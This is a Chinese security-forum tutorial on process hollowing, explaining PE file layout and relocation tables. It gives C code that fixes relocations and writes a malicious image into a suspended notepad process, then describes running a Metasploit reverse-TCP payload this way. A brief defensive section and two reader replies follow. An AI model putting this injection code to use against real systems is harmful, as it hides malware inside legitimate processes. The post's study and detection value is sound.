首页
社区
课程
招聘
[原创] PE攻击之傀儡进程与重定位
发表于: 2025-3-7 18:47 2266

[原创] PE攻击之傀儡进程与重定位

2025-3-7 18:47
2266

1 PE注入概念

PE注入目的是“偷天换日”,把“坏程序”映射到“好进程”的内存中,并最终执行“坏程序”的代码。我们把实现这个过程的工具叫做PE注入工具,它会模拟 Windows 映像加载程序的功能,实现exe内存加载和区段映射的效果,相当于自己就是exe loader。此外,还要结合进程注入,实现在A进程中加载B.exe后跳转到B进程入口点执行,这个过程会架空A进程,所以PE注入还有个学名叫做傀儡进程。

研究PE注入之前,先要了解exe image 加载后的内存布局情况,即是说PE文件要从磁盘加载到内存,它需要从文件偏移映射到对应的内存偏移, 比如.text段文件偏移0x400,映射到内存后偏移就是0x1000,绝对地址是0x401000,如下图所示 (图片引用-蛇矛实验室):
图片描述

要注意的是由于PE文件的section存在两种对齐方式,在内存中以4096字节对齐,16进制为0x1000,即是1个页的大小,而在文件中以512字节对齐,16进制为0x200,。正是因为两种情况下对齐字节数不同,导致从感官上看,PE的文件形态更加“紧凑”,内存形态更加“宽松”存在裂缝。比如说,首先PE头是0x400字节,不管是文件中还是内存中都是从0-0x400,但是从.text段开始就存在差异了,由于文件对齐大小是0x200,所以.text的文件偏移是0x400,然而内存对齐大小是0x1000,所以.text的内存偏移是0x1000,从0x400-0x1000这段未被占用的空间用\x0填充。随着section数量不断增多,文件偏移和内存偏移的差距会越来越大,出现上图偏差现象。

2 PE攻击思路

模拟加载的过程大概可以分为以下几步:

  • 创建傀儡进程如notepad,并挂起进程
  • NtUnmapViewOfSection清空 notepad 进程数据(前提是notepad的基地址==恶意PE基地址)
  • notepad中申请恶意PE基地址对应的内存(如果申请失败,还需要修复重定位表)
  • 远程拷贝恶意PE所有头部和所有节表数据到内存
  • 修改notepad进程入口点为恶意PE的入口地址,然后恢复傀儡进程执行

2.1 攻击步骤

首先,需要把恶意PE当做文件读取进来。
第2步,使用OpenProcess方式拉起notepad并设置挂起状态。
图片描述
图片描述
第3步,修改notepad的基地址,如果基地址占用,使用UnmapViewOfSection先做清理。
图片描述
第4步,申请ImageBase表示的内存,填写头部字段,其中头部字段包括dos、nt、section的所有头数据。如果这个地址申请失败,申请到了其他位置,那么还需要修复重定位表。
图片描述
第5步,拷贝各个section的数据,其中section的结构图和拷贝代码分别如下:
图片描述
图片描述
最后,修改EIP并恢复执行,核心代码如下:
图片描述

2.2 测试过程

(1)运行注入工具,该工具执行成功后会拉起notepad,然后替换成calc。
图片描述
(2)用Process Hacker观察进程列表,会发现noteapd进程,且存在0x410000 的块。
图片描述

3 PE防御思路

  • 告警 setThreadContext调用,记录操作进程信息。
  • 内存扫描,对比PE文件的磁盘文件和内存dump是否有区别。

4 重定位

4.1 基本概念

大家应该知道1个进程要被执行,需要操作系统完成从磁盘加载到内存的过程,如果这个过程中PE加载基地址发生变化,导致跟PE文件编译产生的预设值不同,就会导致很多节段中的绝对地址要重新修复,比如代码段中的 直接索引地址,或者数据段中的 全局变量地址等。通常只要系统开启了aslr 机制就会导致PE文件被加载到内存后发生地址随机化,这个机制是1个重要的安全保护机制。重定位的地址放在重定位表里面维护的,这个表可以通过 NTHeader->OptionalHeader→DataDirArray[5] 索引,它里面有真正的重定位表的RVA和size,后面的技术原理也是从这个结构出发。

4.2 技术原理

该部分探究如何获取重定位表内容,以及从代码和数据层面了解重定位表项代表的含义是什么。

4.2.1 PE结构

首先,我们熟悉下PE文件格式,从主要结构上讲PE包括Dos头、DosStub、NT头、Section头、Section各个区段数据。通过010editor随便加载一个exe文件都能看到这些结构化的数据,下面展示加载1个demo程序。
图片描述
其中Dos头最为人熟知的就是MZ魔术字(0x5A4D),也就是PE文件的前两个字节,还有其他兼容Dos系统的启动信息数据,还有1个字段叫做 e_lfanew,它是这个结构体中最后1个字段,表示NT头的文件偏移。

其次是DosStub,这个结构是它是一段可执行代码,主要用于在DOS环境下运行时提供兼容性支持,windows环境下加载器直接跳过这个结构。

再接着是NT头,它包含PE标识符、文件头和可选头,用于描述PE文件的基本信息、加载和执行细节,以及提供数据目录的入口点。它是操作系统和加载器在加载和执行 PE 文件时用于解析和理解文件内容与结构的关键依据。其中,文件头的结构体是IMAGE_FILE_HEADER,可选头的结构体是IMAGE_OPTIONAL_HEADER32。我们先看下IMAGE_FILE_HEADER,结构体定义和实际案例如下图所示,主要包含区段数量(NumberOfSections)、文件创建时间(TimeDateStamp)、可选头大小(可选头结构的size)。定位重定位表最重要的字段是获取 可选头FOA。
图片描述
图片描述
然后再往后是可选头结构,它主要包含PE镜像加载基地址、程序入口点地址、镜像大小、以及数据目录结构。这里的PE镜像加载基地址是重要参数,因为它决定了加载器从内存中哪个位置开始加载 PE文件,比如vs设置的默认值为 0x400000h,这也是傀儡进程技术实现中要用到的1个重要参数。

现在到了数据目录了,下图展示了demo程序的数据目录内容,它是PE文件可选头中的一个数组,每个条目包含RVA和大小,指向PE文件中的特定数据段(如导入表、导出表、重定位表等),用于支持程序的加载和运行。
图片描述
这里只研究重定位表内容,其他表暂不深究,下图是示例截图。其中 RVA是 0x20000h,FOA是0xC000h。
图片描述
这里要注意的是RVA和FOA的区别,RVA是Relative Virtual Address,表示的是加载到内存后相对镜像基地址的偏移量。另外FOA是File Offset Address,表示的是相对PE文件的偏移量。

那如果知道了RVA,怎么获取到它的FOA呢?这里就需要另外1个重要的结构体了(区段头),它包含了区段的文件偏移和内存偏移,以及文件大小。下面是区段头数组和区段头内容的示例:
图片描述
再来看RVA是 0x20000h,先定位到它的区段头(条件:VirtualAddress==0x20000h),发现是区段头中的.reloc项,如下所示
图片描述
从这里就能看出它的FOA是0xC000h(PointerToRawData字段),然后直接跳转到这个地址去看看,它是base_relocation_table结构,然后随机找到其中1项查看其内容,比如第1项的值如下图所示:
图片描述
图片描述
这里先计算出重定位项的虚拟偏移地址:11000(h) + 2479(o) = 119AF(h),用IDA定位到这个地址查看内容以及需要重定位的地址。

4.2.2 重定位项内容

重定位项包含了代码段中的跳转地址,也包含data段中的全局变量地址,这里随机抽取3个重定位项进行观察。

第一个,上面提到的119AF(h),用IDA定位到0x40000+0x119AF=0x4119AF地址处。
图片描述
图片描述
这个项就说明GS cookie地址,值为0x41b000。
第二个,rdata中的某个函数指针,值为0x412c10,如下图所示:
图片描述
图片描述
第三个,data段中的某个运行时类的虚表指针,值为0x419c98,定位到改虚表查看是2个指针,第1个是type_info数据,还有个null指针。如下图所示:
图片描述
图片描述
图片描述

4.3 使用案例

4.3.1 示例代码

进程注入里面的傀儡进程就可能使用到PE重定位的技术,这里通过列举重定位的代码进行技术原理讲解,顺便把上面的知识点再次加深一下。如果傀儡进程申请不到原始的PE Image BaseAddress,那就只能转移到其他地址就行加载,这个时候就需要进行符号重定位了,这个步骤的目的是修改PE文件中的重定位项的值,使得它里面的地址跟实际的内存加载地址一致,从而避免访问地址错误的情况发生。

核心代码的实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void fixRelocTable(DWORD pFileBufferSrc, DWORD AOffset) {
    PIMAGE_DOS_HEADER       pIDH = (PIMAGE_DOS_HEADER)pFileBufferSrc;
    PIMAGE_FILE_HEADER      pIFH = (PIMAGE_FILE_HEADER)(pFileBufferSrc + pIDH->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER  pIOH = (PIMAGE_OPTIONAL_HEADER)(pFileBufferSrc + pIDH->e_lfanew + 0x18);
    PIMAGE_SECTION_HEADER   pISH = (PIMAGE_SECTION_HEADER)(pFileBufferSrc + pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    DWORD pRelocationDirectoryVirtual = NULL;
    PIMAGE_BASE_RELOCATION pRelocationDirectory = NULL;
    IMAGE_DATA_DIRECTORY* dataDirectories = NULL;
    DWORD FOA, NumberOfRelocation;
    PWORD Location;
    DWORD RVA_Data;
    WORD reloData;
  
    dataDirectories = pIOH->DataDirectory;
    pRelocationDirectoryVirtual = (DWORD) dataDirectories[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
    if (pRelocationDirectoryVirtual) {
        RVA_To_FOA(pFileBufferSrc, pRelocationDirectoryVirtual, &FOA);
        pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pFileBufferSrc + FOA);
          
        while (pRelocationDirectory->SizeOfBlock && pRelocationDirectory->VirtualAddress) {
            NumberOfRelocation = (pRelocationDirectory->SizeOfBlock - 8) / 2;// 每个重定位块中的数据项的数量
            Location = (PWORD)((DWORD)pRelocationDirectory + 8); // 加上8个字节
            for (DWORD i = 0; i < NumberOfRelocation; i++) {
                if (Location[i] >> 12 != 0) { //判断是否是垃圾数据
                    // WORD类型的变量进行接收
                    reloData = (Location[i] & 0xFFF); //这里进行与操作 只取4字节 二进制的后12
                    RVA_Data = pRelocationDirectory->VirtualAddress + reloData; //这个是RVA的地址
                    RVA_To_FOA(pFileBufferSrc, RVA_Data, &FOA);
                    //修复步骤的核心操作,这里镜像加载时偏移了 AOffset 字节,所以重定项的地址也要偏移这么多
                    *(PDWORD)((DWORD)pFileBufferSrc + (DWORD)FOA) = *(PDWORD)((DWORD)pFileBufferSrc + (DWORD)FOA) + AOffset;      
                }
            }
            pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pRelocationDirectory + (DWORD)pRelocationDirectory->SizeOfBlock); //上面的for循环完成之后,跳转到下个重定位块 继续如上的操作
        }
    }
}

主要流程是:

  • 从PE mapping内存开始定位到重定位表
  • 遍历重定位表中内容,依次获取每个重定位项的文件偏移
  • 根据文件偏移定位到它在文件中的地址,获取原始值再加上 (PE镜像的实际加载偏移),然后将和值写回去。

经过上面步骤的调整后,新的PE文件内容就符合其真实的加载地址了,保证了文件和内存中的地址的一致性,就不会出现访问地址错误的情况。

当然,除了这些常规动作外,还要修改下进程和PE文件的image base(!!!一定要修改,漏掉任一都会直接报错!!!),修改方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// 在傀儡进程中申请内存,默认申请基地址==PE头中的预设值
if (!(pRealProcImage = (LPBYTE)VirtualAllocEx(
    ppi->hProcess,
    (LPVOID)(pDesireImgBase),
    pOptHead->SizeOfImage,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_EXECUTE_READWRITE)))
{
    printf("VirtualAllocEx() failed!!! [%d]\n", GetLastError());
    return FALSE;
}
else
{
    // 保存分配结果
    glo_desireImageBase = (LPBYTE)(pOptHead->ImageBase);
    glo_realImageBase = pRealProcImage;
      
    // 修改进程的基地址(!!!只要分配的内存跟预设值不同就必须执行这步!!!)
    if (!WriteProcessMemory(
        ppi->hProcess,
        (LPVOID)(ctx.Ebx + 8),
        (LPVOID)&pRealProcImage,
        sizeof(DWORD),
        NULL)) {
        printf("WriteProcessMemory() failed to update the image base address [%d]\n", GetLastError());
        return FALSE;
    }
  
    //修改PE文件的image base
    pOptHead->ImageBase = (DWORD)pRealProcImage; // 修改PE文件的基地址
    printf("WriteProcessMemory() successfully modified image base address.\n");
}
  
// 如果实际加载的基地址跟预设的基地址不相同,那么还需要修复调整重定位表
if (glo_desireImageBase && glo_realImageBase && glo_desireImageBase != glo_realImageBase) {
    fixRelocTable((unsigned long)pRealFileBuf, glo_realImageBase - glo_desireImageBase);
}
  
// 模拟加载器load all heads:DOS头+NT头+节表头(0x400
if (!WriteProcessMemory(
    ppi->hProcess,
    pRealProcImage,
    pRealFileBuf,
    pOptHead->SizeOfHeaders,
    NULL)) {
    printf("WriteProcessMemory() failed to update the headers [%d]\n", GetLastError());
    return FALSE;
}

4.3.2 执行效果

示例代码实现了注入工具,它会拉起傀儡进程notepad,然后读取恶意PE(msf_reverse_tcp.exe),替换notepad原有的代码和数据,执行后自动连接上 msf。
图片描述
图片描述


[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!

收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 855
活跃值: (1135)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
在win1124h2 ntdll中多了内存检测
1天前
0
雪    币: 9023
活跃值: (5620)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
学习了
1天前
0
游客
登录 | 注册 方可回帖
返回